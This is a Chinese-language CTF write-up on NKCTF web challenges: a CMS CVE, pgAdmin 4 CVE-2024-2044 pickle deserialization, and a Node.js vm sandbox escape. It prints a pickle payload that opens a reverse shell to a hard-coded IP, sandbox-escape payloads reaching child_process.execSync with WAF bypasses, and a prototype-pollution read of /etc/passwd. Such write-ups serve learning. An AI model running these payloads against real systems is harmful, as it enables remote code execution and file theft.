这次NKCTF我可以算是打的非常差了。下面是我的一下反思和复现学习

我的第一个CMS

这题没什么好说的了。CVE什么都找到了,扫了两个字典弱密码没扫出来。悲啊。密码本已经换了气死了。字典里只有admin123没有Admin123。我看了一下网上的字典很多都没有Admin123。
CVE-2024-27622
直接admin登陆,之后按照cve进行代码执行就可以了

attack_tacooooo

这题我们打开会发现为pgadmin4的8.3版本我们在网上可以查到其存在上传文件进行反序列化执行的漏洞。CVE-2024-2044 漏洞
我们要先登陆后台。账号提示为tacooooo@qq.com密码我在打比赛的时候猜了出来为tacooooo。
之后我们在进行文件上传

上传文件的时候我们可以进行抓包
发包后查看响应来查看文件上传的目录位置
因为触发这个反序列化需要将session的的一部分改成文件路径如下
/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle
之后再触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
import pickletools

class exp():
def __reduce__(self):
return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('101.32.62.24',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))

if __name__ == '__main__':
c = exp()
payload = pickle.dumps(c)
with open('posix.pickle', 'wb') as f:
f.write(payload)


这一题我在复现的时候一直不知道这么回事官方的exp一直弹不出shell。还是利用了这个队伍的exp进行尝试。https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g
很奇怪,这个师傅的exp就能弹shell。文章的就弹不出去。
文章在打比赛的时候这个文章有找到,也进行了尝试失败后就放弃了。把时间都浪费在了js rce上导致我没有认真看这道题目。只能说能力不够。文章都看不太懂。

全世界最简单的CTF

这道题目主要考察js vm沙箱绕过,我看了一下官方wp,官方wp的做法是原型链污染。而我看其他师傅的文章主要的方法为绕waf。
对于绕waf我再打比赛时有找到如下两篇文章。绕到最后只能说很接近答案了。还是实力不足。对js的了解不够。
NodeJS VM和VM2沙箱逃逸
nodejs中代码执行绕过的一些技巧
我们打开题目扫一下目录可以扫到/secret
我们打开可以发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

我们首先看到我们需要绕过一个空的vm。网上可以查到可以使用arguments.callee.caller和Proxy来劫持属性。我们直接使用网上的payload
1
2
3
4
5
6
7
8
9
10
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()

但是这题还要绕waf。要绕过process和execSync。process可以有很多种绕过方法。我这里就直接使用模板字符串进行绕过了,
1
`${`${`return proc`}ess`}`和`${`${`child_pr`}ocess`}`。

前一个的waf还是比较好绕的。但是后一个waf再比赛的时候就卡住了我。我在比赛时有想到使用反射类来尝试拿到exec。但是由于没有理解绕沙箱的原理导致在使用反射类的时候,直接报错未定义。在赛后我花了一段会时间将沙箱的绕过原理重新看了一遍。
发现沙箱绕过的主要原理是从global来得到其他对象并赋值到变量里。分析了一下payload才发现是之前没有理解透导致waf绕不过去。
首先我们可以尝试射调用函数来得到exec。首先Reflect是一个内置方法,即我们可以直接在沙箱里进行使用。网上得到exec的payload如下
1
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

但由于我们这是在沙箱环境无法得到global。所以我们需要更改一下。
1
2
3
4
5
6
7
8
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const b=(cc.constructor.constructor(`${`${`return proc`}ess`}`))();
const c=b.mainModule.require(`${`${`child_proc`}ess`}`);
return Reflect.get(Reflect.get(c, Reflect.ownKeys(c).find(x=>x.includes('ex')))('calc'));
}
})

我们通过arguments.callee.caller来得到一个对象。再通过cc.constructor.constructor来获取到global。这样我们就可以得到process。通过process我们就可以得到child_process。最后通过反射类调用得到exce。进行命令执行。

我们可以看到很完美的弹了计算机。

其实我在比赛时还有想要尝试使用fs看一下能不能对文件进行操作,结果本地忘记导入fs模块导致这么也无法在本地实现。这还是在赛后才看到的。悲
我还在第一名的队伍里看到了这样的绕waf姿势

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})

直接使用replace来进行替换。这个方法实在是太逆天了

官方方法:原型链污染

我个人认为要想想到使用原型链污染。还是比较难的。解答出来的选手应该大部分都是通过绕waf进行解答的。
官方的方法是利用原型链污染来解题我们审计一下源码就会发现其会将(__filename)这个属性输出回显。而我们在上面绕过vm沙箱里就知道。我们在绕过这个空沙箱首先要获取一个对象再对对象进行原型链污染.
我们可以使用如下payload对文件进行读取
我们可以在本地调试查看其原型链的长度以此来找到object。对其进行污染

1
2
3
4
5
6
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename="/etc/passwd"
}
})

在进一步进行污染将__filename污染为/app/hack.js可以读取会发现hack.js里导入了shell.js在shell.js里我们可以看到command是被包裹在execSync里的。而且process里并不含有command这个属性明显这个也是可以原型链污染的且其是RCE的重点。

hack.js
1
console.log('shell.js');

shell.js
1
2
3
console.log("shell");
const p = require('child_process');
p.execSync(process.env.command);

但是直接污染是无法执行的.我们需要看这篇文章https://hujiekang.top/posts/nodejs-require-rce/。

这个文章强度多少有点高了,先挖个坑等以后对js了解更深了在补上。